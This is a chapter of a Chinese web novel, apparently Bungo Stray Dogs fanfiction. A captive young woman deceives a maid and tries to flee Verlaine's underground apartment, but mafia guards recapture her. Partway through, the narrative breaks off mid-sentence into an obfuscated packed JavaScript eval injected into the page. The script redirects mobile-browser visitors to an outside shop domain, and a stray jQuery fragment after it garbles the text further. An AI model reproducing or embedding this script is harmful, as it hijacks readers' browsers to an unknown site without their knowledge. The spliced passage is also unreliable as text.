听到魏尔伦说要出去几天,洛雪的心猛地一颤,捏着刀叉的手指不自觉收紧。

    但她从始至终没有抬起过头,依旧细细咀嚼着面包,像被食物的美味吸引了注意,从而对周围发生的事情漠不关心。

    洛雪知道,魏尔伦的视线就没有从她身上离开过。

    他在观察她的表现,在等待她的反应,所以不能表现得太明显。

    “你没有听见我的话吗?还是说……”

    魏尔伦稍作停顿,盯着洛雪的目光冷了下来。

    “你还抱着什么侥幸心理?”

    洛雪终于故作无辜地抬头看向魏尔伦,假装此刻才注意到他在跟自己说话。

    “魏尔伦先生,费佳死了,外面已经没有我的容身之处了。”

    她放下手里的刀叉,带着病气的面容流露出几分悲伤,整个人看上去非常的身不由己。

    “魏尔伦先生你知道的,有很多人想让我死,我能依靠的只有你了。”

    洛雪说得真挚动容。

    她甚至还切了一小片吐司放进对座上魏尔伦的盘子里,替他抹好沙拉酱,通过这种方式来表明自己的心意。

    “放心吧,我哪里都不去,我就在这里等你回来。”

    她将自己的姿态放得很低,用柔软言语一步步地满足着独属于强大男人的征服欲。

    魏尔伦满意笑道:“没错,除了我,没人可以伤害你。”

    他同样不觉得,短短几天她就能逃离自己的手掌心。

    魏尔伦警惕的神色有所舒缓,没再提逃跑的事情,洛雪这才松了一口气。

    当然,对她的看管该有的是一点也少不了。

    ……

    mafia那边似乎真的出了什么很棘手的事情,魏尔伦走得很匆忙。

    离开前他还不忘叮嘱洛雪,劝她别动什么歪心思。

    洛雪乖巧地望着魏尔伦,连连点头保证着。

    在他出去关上门的瞬间,她挂在脸上的无害笑容瞬间收了起来。

    怎么可以在这里坐以待毙呢?

    他想消磨她的意志,她偏不让他如愿。

    知己知彼,百战百胜。

    洛雪的目光环顾着四周,视线落在客厅里摆放着的书架上,又移到了具体的每一个角落。

    这个地下室究竟有多大,究竟有哪些地方,她来了这么久一概不知。

    每天不是缩在客厅角落,就是待在魏尔伦为自己准备的卧室里。

    洛雪像在侦察一样慢慢地走着,暗暗发誓一定要把握好这几天时间。

    魏尔伦不在,不必再虚与委蛇,不必再逢场作戏,她的心里舒畅放松无比。

    走了差不多一圈。

    洛雪对这个地下室的印象和初来时没太大区别,就是一座能住人的豪华公寓。

    她用之前费奥多尔教的方法仔细检查着任何容易被忽视的细微处。

    好在魏尔伦还没到丧心病狂的地步,洛雪并没有发现摄像头或者窃听器的存在。

    但最里处的死角居然藏了一扇暗门,需要有密码才能打开,也不知道通往的是哪个地方。

    洛雪的脚步最后停在了魏尔伦的卧室前。

    房门紧闭着。

    直觉告诉洛雪,魏尔伦的秘密就藏在里面。

    她将手轻搭在扳手上,做足了心理准备,深吸一口气后,转动。

    咔擦——

    门并没有打开。

    洛雪有点失望,不死心地又转动了几下,无一例外都失败了。

    她还想着看能不能找到钥匙,或者找个细小点的东西来充当撬锁工具,玄关的大门却先一步被打开。

    有人进来了。

    这个时间点,不可能是魏尔伦。

    洛雪缓慢而警惕地走回客厅。

    只见一个女仆推着餐车,把寿司、三明治等便食井然有序地摆放在了桌面,大概有一日三餐的量。

    女仆还带来了新的干净衣物和一些治感冒的药品。她全程默不作声,似乎并没有察觉到屋内这名被软禁的少女的存在。

    洛雪笑得温柔,尝试与女仆搭话:“谢谢啊,辛苦你了。”

    闻言,对方立刻用一种警惕防备的眼神看着她,耐心地等待她是不是有什么吩咐,但仍旧一句话都没有说。

    洛雪猜测,魏尔伦应该对女仆下了不准搭理自己的命令,防止被自己套话钻空子。

    “东西放那就好了,没有其他事的话您自行离开便可。”

    洛雪故作什么事都没发生的模样,和蔼可亲地微笑,甚至使用敬语将女仆捧上高位。

    女仆这才暗暗松了一口气,默默地推着餐车离开。

    来之前,魏尔伦大人特意提醒过。

    关在地下室里的是将横滨搅得一团乱的疯子,嘱咐自己千万不要与她有任何交集,不要被她蛊惑。

    在被派遣来照顾这位主子近几天的衣食起居时,自己本来已经做好了赴死的准备。

    现在看来……

    这位传闻中被俘获的天人五衰重犯,和走在大街上的普通女生也没太大区别嘛,年龄估计也只有二十出头。

    说不定不是什么歹徒,是魏尔伦大人豢养的秘密情人也有可能,用这种方式来掩人耳目罢了。

    女仆边走边想着。

    ……

    屋子内。

    坐在椅子上的洛雪单手托腮,对着桌上放着的食物发呆,苦恼不已。

    女仆根本不理人,收买她协助自己逃跑的计划一败涂地。

    已经快过去一天了,没准魏尔伦明天就突击回来了。

    她越坐越焦虑,目光不经意扫过那几盒感冒药时灵光一闪,黑眸亮了起来。

    软的不行,那就来硬的吧。

    ……

    魏尔伦不在的第二天。

    这一次女仆推着餐车进来的时候,洛雪就像没看见她一样,安静地坐在书桌前看书写作。

    书页翻动的声音和洛雪念着的祷词混合在一起,情至深处时偶尔还有几声叹息,就像是在感慨命运无常。

    屋内莫名有种很肃穆的神圣感。

    放好食物的女仆没忍住好奇地看了洛雪一眼。

    对方正专注的看着手里的书,侧脸沉静,神情虔诚。

    眼前这位冷艳疏离的少女究竟有什么样的过往,究竟遭遇了什么才会被幽居在这个暗无天日的地下室里?

    甚至还背负上了难听歹毒的恶名……

    女仆情不自禁地想象着,心中萌生了几分怜悯。

    然而她前脚刚走,后脚洛雪便放下了书,眸色暗了暗。

    和自己预想的一样,送餐时间是固定的,并

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17626894|206278||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    且来的只有女仆一个人。

    不能再坐以待毙了。

    ……

    魏尔伦不在的第三天。

    女仆推门进来的时候被吓了一大跳。

    只见洛雪赤脚站在玄关附近,脸色苍白地扶着墙,身体摇摇欲坠。

    “小姐,你身体不舒服吗?”

    看上去痛苦不已的洛雪强忍着难受,苦涩的向女仆挤出了一抹笑容。

    魏尔伦大人吩咐过的,不能让她出事,更不能让她死了!

    女仆手忙脚乱,然而还没想好要怎么办,洛雪就虚弱地捂住了胸口。

    她突然像失去了支撑,顺着墙壁轻飘飘的滑了下去,艰难地用手抵住墙,这才没完全倒在地上。

    “小姐?!”

    女仆着急地向洛雪奔了过来,一边扶住她,一边急急忙忙地拿出对讲机准备喊医生。

    就在女仆注意力完全被分散的瞬间……

    洛雪的目光骤然变得狠厉,用尽全身力气狠狠将她推开。

    也是在这一刻,她没有一丝犹豫,不管不顾地朝还没来得及锁上的大门奔出去。

    女仆被这突如其来的变故吓得目瞪口呆,眼睁睁地看着洛雪从自己身边离开。

    走廊漆黑而漫长。

    洛雪的心脏砰砰乱跳着,头脑始终处于紧绷的状态。

    此时此刻,她只有逃出去一个念头。

    洛雪拼命地按了好几下电梯的上行按钮,等待的那几秒心急如焚。

    电梯门终于打开。

    洛雪狼狈地闪了进去,胡乱地按了一楼的按钮。

    她看着映在金属门里头发凌乱,穿着单薄白色睡裙的自己,呼吸就像要停滞,但对重获自由的期待感慢慢盖过了恐惧。

    电梯门在一楼打开。

    映入眼帘的是几名正朝洛雪缓缓走来的mafia黑西装成员。

    显然他们已经接到了通知,守在了这里。

    她的心瞬间沉了下来。

    “小姐,请跟我们回去吧。”为首的男人语气恭敬。

    洛雪清楚,和他们硬碰硬是没有任何胜算的。

    她不甘愿束手就擒,抱着从偏门出去的侥幸心理,突然转身跑向旁边的楼梯间。

    也许利用复杂的地形,还能有一线生机……

    “拦住她!”

    男人气急败坏的声音从身后传了过来。

    那些训练有素的mafia成员立刻追上前,从腰间拔枪的时候,领头男人的吼声再次响起。

    “魏尔伦大人有命令,不能伤到她!”

    于是他们只好放弃将她击倒的念头,重新调整策略。

    就在洛雪快要碰到安全出口的门把手时,追上来的mafia黑西装从侧面攥住了她的手腕。

    “得罪了,小姐。”

    对方采用专门的擒拿方法借力打力,很熟练的把洛雪的手臂反捆到了身后。

    她一点点伤都没有,身体却失去了平衡,脸颊贴在了冰冷的门上。

    洛雪本能地挣扎着。

    “请不要乱动,这是为了您的安全着想。”

    桎梏住她的那名黑西装男人全程呼吸没乱一点,语气平静的说道。

    仓促的脚步声快速逼近。

    紧接着,其他mafia成员也围了上来。